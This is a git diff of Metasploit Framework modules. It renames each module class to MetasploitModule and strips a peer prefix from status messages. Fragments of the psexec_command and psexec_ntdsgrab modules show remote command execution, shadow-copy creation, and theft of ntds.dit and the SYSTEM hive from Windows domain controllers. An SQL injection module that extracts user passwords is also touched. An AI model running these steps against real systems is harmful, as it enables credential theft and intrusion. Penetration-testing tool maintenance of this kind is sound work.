a/modules/auxiliary/admin/mysql/mysql_enum.rb b/modules/auxiliary/admin/mysql/mysql_enum.rb index 5bb0e6830f..f4c7d52c2a 100644 --- a/modules/auxiliary/admin/mysql/mysql_enum.rb +++ b/modules/auxiliary/admin/mysql/mysql_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::MYSQL diff --git a/modules/auxiliary/admin/mysql/mysql_sql.rb b/modules/auxiliary/admin/mysql/mysql_sql.rb index 56578fa36f..e8dfd5f1ad 100644 --- a/modules/auxiliary/admin/mysql/mysql_sql.rb +++ b/modules/auxiliary/admin/mysql/mysql_sql.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MYSQL diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index 731a58e444..07010cf1bc 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb index 8ec139cec0..07f3cc5b19 100644 --- a/modules/auxiliary/admin/officescan/tmlisten_traversal.rb +++ b/modules/auxiliary/admin/officescan/tmlisten_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb b/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb index c9b9faccbb..4d5d54817d 100644 --- a/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb +++ b/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index e33a0db012..851ce5950a 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'csv' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/admin/oracle/oracle_sql.rb b/modules/auxiliary/admin/oracle/oracle_sql.rb index ee9efbb905..1a49166ddc 100644 --- a/modules/auxiliary/admin/oracle/oracle_sql.rb +++ b/modules/auxiliary/admin/oracle/oracle_sql.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/admin/oracle/oraenum.rb b/modules/auxiliary/admin/oracle/oraenum.rb index 44e67f20d0..944e24c56a 100644 --- a/modules/auxiliary/admin/oracle/oraenum.rb +++ b/modules/auxiliary/admin/oracle/oraenum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/admin/oracle/osb_execqr.rb b/modules/auxiliary/admin/oracle/osb_execqr.rb index 581c65d9ac..2aa1311ec6 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/oracle/osb_execqr2.rb b/modules/auxiliary/admin/oracle/osb_execqr2.rb index 94a16f0d72..db6cfd7896 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr2.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr2.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/oracle/osb_execqr3.rb b/modules/auxiliary/admin/oracle/osb_execqr3.rb index d9355644a7..fae25f3308 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr3.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr3.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb index c5f9453f72..0e3e355eab 100644 --- a/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb +++ b/modules/auxiliary/admin/oracle/post_exploitation/win32exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb b/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb index a9140ed59d..b22eb782cb 100644 --- a/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb +++ b/modules/auxiliary/admin/oracle/post_exploitation/win32upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/admin/oracle/sid_brute.rb b/modules/auxiliary/admin/oracle/sid_brute.rb index d7e50deacb..6a45802bf0 100644 --- a/modules/auxiliary/admin/oracle/sid_brute.rb +++ b/modules/auxiliary/admin/oracle/sid_brute.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::TNS diff --git a/modules/auxiliary/admin/oracle/tnscmd.rb b/modules/auxiliary/admin/oracle/tnscmd.rb index 61c7a66ec0..ef2a7e452b 100644 --- a/modules/auxiliary/admin/oracle/tnscmd.rb +++ b/modules/auxiliary/admin/oracle/tnscmd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TNS diff --git a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb index d8e837f799..ba24fc2314 100644 --- a/modules/auxiliary/admin/pop2/uw_fileretrieval.rb +++ b/modules/auxiliary/admin/pop2/uw_fileretrieval.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Pop2 diff --git a/modules/auxiliary/admin/postgres/postgres_readfile.rb b/modules/auxiliary/admin/postgres/postgres_readfile.rb index fa3abf8d31..2f2dd5bbd8 100644 --- a/modules/auxiliary/admin/postgres/postgres_readfile.rb +++ b/modules/auxiliary/admin/postgres/postgres_readfile.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/postgres/postgres_sql.rb b/modules/auxiliary/admin/postgres/postgres_sql.rb index 9a811c4d1d..4d588e1f2b 100644 --- a/modules/auxiliary/admin/postgres/postgres_sql.rb +++ b/modules/auxiliary/admin/postgres/postgres_sql.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Postgres diff --git a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb index 43f91cf73e..39dd75f68e 100644 --- a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb +++ b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb index 383b187968..23d106176d 100644 --- a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb +++ b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb index 7e77949291..b3a912e0b1 100644 --- a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb +++ b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Exploiting sqli to extract users information...") + print_status("Exploiting sqli to extract users information...") mark = Rex::Text.rand_text_alpha(8 + rand(5)) rand = Rex::Text.rand_text_numeric(2) separator = Rex::Text.rand_text_alpha(5 + rand(5)) @@ -134,21 +134,21 @@ class Metasploit3 < Msf::Auxiliary data = do_sqli(injection, mark) if data.blank? - print_error("#{peer} - Error exploiting sqli") + print_error("Error exploiting sqli") return end @users = [] @plain_passwords = [] - print_status("#{peer} - Parsing extracted data...") + print_status("Parsing extracted data...") parse_users(data, mark, separator) if @users.empty? - print_error("#{peer} - Users not found") + print_error("Users not found") return else - print_good("#{peer} - #{@users.length} users found!") + print_good("#{@users.length} users found!") end users_table = Rex::Ui::Text::Table.new( diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index 2251e33566..0325a8274b 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -6,7 +6,7 @@ require 'uri' require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/scada/modicon_command.rb b/modules/auxiliary/admin/scada/modicon_command.rb index 53bf52ea84..fd29955621 100644 --- a/modules/auxiliary/admin/scada/modicon_command.rb +++ b/modules/auxiliary/admin/scada/modicon_command.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Rex::Socket::Tcp diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb index aabbdc4cc3..1d91e140a4 100644 --- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb +++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb index 4906829d56..fc0368f945 100644 --- a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb +++ b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Rex::Socket::Tcp diff --git a/modules/auxiliary/admin/scada/multi_cip_command.rb b/modules/auxiliary/admin/scada/multi_cip_command.rb index 6abc81f58e..5561973f04 100644 --- a/modules/auxiliary/admin/scada/multi_cip_command.rb +++ b/modules/auxiliary/admin/scada/multi_cip_command.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Rex::Socket::Tcp diff --git a/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb index 6d0dde4b03..2c83b0530b 100644 --- a/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb +++ b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::TcpServer diff --git a/modules/auxiliary/admin/serverprotect/file.rb b/modules/auxiliary/admin/serverprotect/file.rb index b12195b257..61bf21da5b 100644 --- a/modules/auxiliary/admin/serverprotect/file.rb +++ b/modules/auxiliary/admin/serverprotect/file.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Rex::Platforms::Windows diff --git a/modules/auxiliary/admin/smb/check_dir_file.rb b/modules/auxiliary/admin/smb/check_dir_file.rb index 3f85ac29ef..70a0b33446 100644 --- a/modules/auxiliary/admin/smb/check_dir_file.rb +++ b/modules/auxiliary/admin/smb/check_dir_file.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 417aea54d2..a6c409ec32 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index d6aa05a4b6..07672ac4d4 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/admin/smb/list_directory.rb b/modules/auxiliary/admin/smb/list_directory.rb index 53e52f66e8..011b0d9c60 100644 --- a/modules/auxiliary/admin/smb/list_directory.rb +++ b/modules/auxiliary/admin/smb/list_directory.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 749b32d22e..5747494726 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary begin smb_login rescue Rex::Proto::SMB::Exceptions::Error => autherror - print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") + print_error("Unable to authenticate with given credentials: #{autherror}") return end res = execute_command(text, bat) @@ -96,31 +96,31 @@ class Metasploit3 < Msf::Auxiliary def execute_command(text, bat) # Try and execute the provided command execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" - print_status("#{peer} - Executing the command...") + print_status("Executing the command...") begin return psexec(execute) rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => exec_command_error elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3) - print_error("#{peer} - Unable to execute specified command: #{exec_command_error}") + print_error("Unable to execute specified command: #{exec_command_error}") return false end end # Retrive output from command def get_output(file) - print_status("#{peer} - Getting the command output...") + print_status("Getting the command output...") output = smb_read_file(@smbshare, @ip, file) if output.nil? - print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.") + print_error("Error getting command output. #{$!.class}. #{$!}.") return end if output.empty? - print_status("#{peer} - Command finished with no output") + print_status("Command finished with no output") return end # Report output - print_good("#{peer} - Command completed successfuly!") + print_good("Command completed successfuly!") vprint_status("Output for \"#{datastore['COMMAND']}\":") vprint_line("#{output}") @@ -143,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary fd = smb_open(file, 'rwo') fd.close rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror - print_status("#{peer} - Unable to get handle: #{accesserror}") + print_status("Unable to get handle: #{accesserror}") return false end simple.disconnect("\\\\#{@ip}\\#{@smbshare}") @@ -155,19 +155,19 @@ class Metasploit3 < Msf::Auxiliary # Removes files created during execution. def cleanup_after(*files) simple.connect("\\\\#{@ip}\\#{@smbshare}") - print_status("#{peer} - Executing cleanup...") + print_status("Executing cleanup...") files.each do |file| begin smb_file_rm(file) rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror - print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}") + print_error("Unable to cleanup #{file}. Error: #{cleanuperror}") end end left = files.collect{ |f| smb_file_exist?(f) } if left.any? - print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") + print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") else - print_status("#{peer} - Cleanup was successful") + print_status("Cleanup was successful") end end diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb index dc1fd03215..0e7d8b9cf3 100644 --- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb +++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client::Psexec @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']), OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']), OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']), - OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', 'false']), + OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]), ], self.class) end @@ -61,15 +61,15 @@ class Metasploit3 < Msf::Auxiliary begin smb_login rescue StandardError => autherror - print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") + print_error("Unable to authenticate with given credentials: #{autherror}") return end # If a VSC was specified then don't try and create one if datastore['VSCPATH'].length > 0 - print_status("#{peer} - Attempting to copy NTDS.dit from #{datastore['VSCPATH']}") + print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}") vscpath = datastore['VSCPATH'] else - unless datastore['CREATE_NEW_VSC'] == true + unless datastore['CREATE_NEW_VSC'] vscpath = check_vss(text, bat) end unless vscpath @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary download_ntds((datastore['WINPATH'] + "\\Temp\\ntds")) download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys")) else - print_error("#{peer} - Failed to find a volume shadow copy. Issuing cleanup command sequence.") + print_error("Failed to find a volume shadow copy. Issuing cleanup command sequence.") end end cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys") @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary # then creating a new one def check_vss(text, bat) begin - print_status("#{peer} - Checking if a Volume Shadow Copy exists already.") + print_status("Checking if a Volume Shadow Copy exists already.") prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy' command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}" result = psexec(command) @@ -102,14 +102,14 @@ class Metasploit3 < Msf::Auxiliary vscs = [] data.each_line { |line| vscs << line if line.include?("GLOBALROOT") } if vscs.empty? - print_status("#{peer} - No VSC Found.") + print_status("No VSC Found.") return nil end vscpath = prepath + vscs[vscs.length - 1].to_s.split("ShadowCopy")[1].to_s.chomp - print_good("#{peer} - Volume Shadow Copy exists on #{vscpath}") + print_good("Volume Shadow Copy exists on #{vscpath}") return vscpath rescue StandardError => vsscheckerror - print_error("#{peer} - Unable to determine if VSS is enabled: #{vsscheckerror}") + print_error("Unable to determine if VSS is enabled: #{vsscheckerror}") return nil end end @@ -120,16 +120,16 @@ class Metasploit3 < Msf::Auxiliary begin #Try to create the shadow copy command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}" - print_status("#{peer} - Creating Volume Shadow Copy") + print_status("Creating Volume Shadow Copy") out = psexec(command) #Get path to Volume Shadow Copy vscpath = get_vscpath(text) rescue StandardError => vscerror - print_error("#{peer} - Unable to create the Volume Shadow Copy: #{vscerror}") + print_error("Unable to create the Volume Shadow Copy: #{vscerror}") return nil end if vscpath - print_good("#{peer} - Volume Shadow Copy created on #{vscpath}") + print_good("Volume Shadow Copy created on #{vscpath}") return vscpath else return nil @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary end return true rescue StandardError => ntdscopyerror - print_error("#{peer} - Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}") + print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}") return false end end @@ -156,7 +156,7 @@ class Metasploit3 < Msf::Auxiliary # Checks if ntds.dit was copied to the Windows Temp directory def check_ntds(text) - print_status("#{peer} - Checking if NTDS.dit was copied.") + print_status("Checking if NTDS.dit was copied.") check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}" run = psexec(check) output = smb_read_file(@smbshare, @ip, text) @@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y" return psexec(command) rescue StandardError => hiveerror - print_error("#{peer} - Unable to copy the SYSTEM hive file: #{hiveerror}") + print_error("Unable to copy the SYSTEM hive file: #{hiveerror}") return false end end @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Auxiliary # Download the ntds.dit copy to your attacking machine def download_ntds(file) - print_status("#{peer} - Downloading ntds.dit file") + print_status("Downloading ntds.dit file") begin # Try to download ntds.dit simple.connect("\\\\#{@ip}\\#{@smbshare}") @@ -190,9 +190,9 @@ class Metasploit3 < Msf::Auxiliary data = remotefile.read remotefile.close ntds_path = store_loot("psexec.ntdsgrab.ntds", "application/octet-stream", @ip, data, "ntds.dit") - print_good("#{peer} - ntds.dit stored at #{ntds_path}") + print_good("ntds.dit stored at #{ntds_path}") rescue StandardError => ntdsdownloaderror - print_error("#{peer} - Unable to downlaod ntds.dit: #{ntdsdownloaderror}") + print_error("Unable to downlaod ntds.dit: #{ntdsdownloaderror}") return ntdsdownloaderror end simple.disconnect("\\\\#{@ip}\\#{@smbshare}") @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary # Download the SYSTEM hive copy to your attacking machine def download_sys_hive(file) - print_status("#{peer} - Downloading SYSTEM hive file") + print_status("Downloading SYSTEM hive file") begin # Try to download SYSTEM hive simple.connect("\\\\#{@ip}\\#{@smbshare}") @@ -209,9 +209,9 @@ class Metasploit3 < Msf::Auxiliary data = remotefile.read remotefile.close hive_path = store_loot("psexec.ntdsgrab.hive", "application/octet-stream", @ip, data, "system-hive") - print_good("#{peer} - SYSTEM hive stored at #{hive_path}") + print_good("SYSTEM hive stored at #{hive_path}") rescue StandardError => sysdownloaderror - print_error("#{peer} - Unable to download SYSTEM hive: #{sysdownloaderror}") + print_error("Unable to download SYSTEM hive: #{sysdownloaderror}") return sysdownloaderror end simple.disconnect("\\\\#{@ip}\\#{@smbshare}") @@ -229,7 +229,7 @@ class Metasploit3 < Msf::Auxiliary end return prepath + vsc.split("ShadowCopy")[1].chomp rescue StandardError => vscpath_error - print_error("#{peer} - Could not determine the exact path to the VSC check your WINPATH") + print_error("Could not determine the exact path to the VSC check your WINPATH") return nil end end @@ -237,21 +237,21 @@ class Metasploit3 < Msf::Auxiliary # Removes files created during execution. def cleanup_after(*files) simple.connect("\\\\#{@ip}\\#{@smbshare}") - print_status("#{peer} - Executing cleanup...") + print_status("Executing cleanup...") files.each do |file| begin if smb_file_exist?(file) smb_file_rm(file) end rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror - print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}") + print_error("Unable to cleanup #{file}. Error: #{cleanuperror}") end end left = files.collect{ |f| smb_file_exist?(f) } if left.any? - print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") + print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") else - print_status("#{peer} - Cleanup was successful") + print_status("Cleanup was successful") end simple.disconnect("\\\\#{@ip}\\#{@smbshare}") end diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index e0c7b914b6..5d809e37a6 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index b52f54f8a1..6580411c71 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb index 24d11c9978..6a03ca85e6 100644 --- a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb +++ b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SunRPC diff --git a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb index 9618c5eed9..d02081daa8 100644 --- a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb +++ b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Rex::Proto::TFTP include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb index 5e63df3926..5ed08b4865 100644 --- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb +++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb index 4ddc743e52..a7d4a52622 100644 --- a/modules/auxiliary/admin/upnp/soap_portmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'nokogiri' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize diff --git a/modules/auxiliary/admin/vmware/poweroff_vm.rb b/modules/auxiliary/admin/vmware/poweroff_vm.rb index 1608d84fbd..0069b455de 100644 --- a/modules/auxiliary/admin/vmware/poweroff_vm.rb +++ b/modules/auxiliary/admin/vmware/poweroff_vm.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient 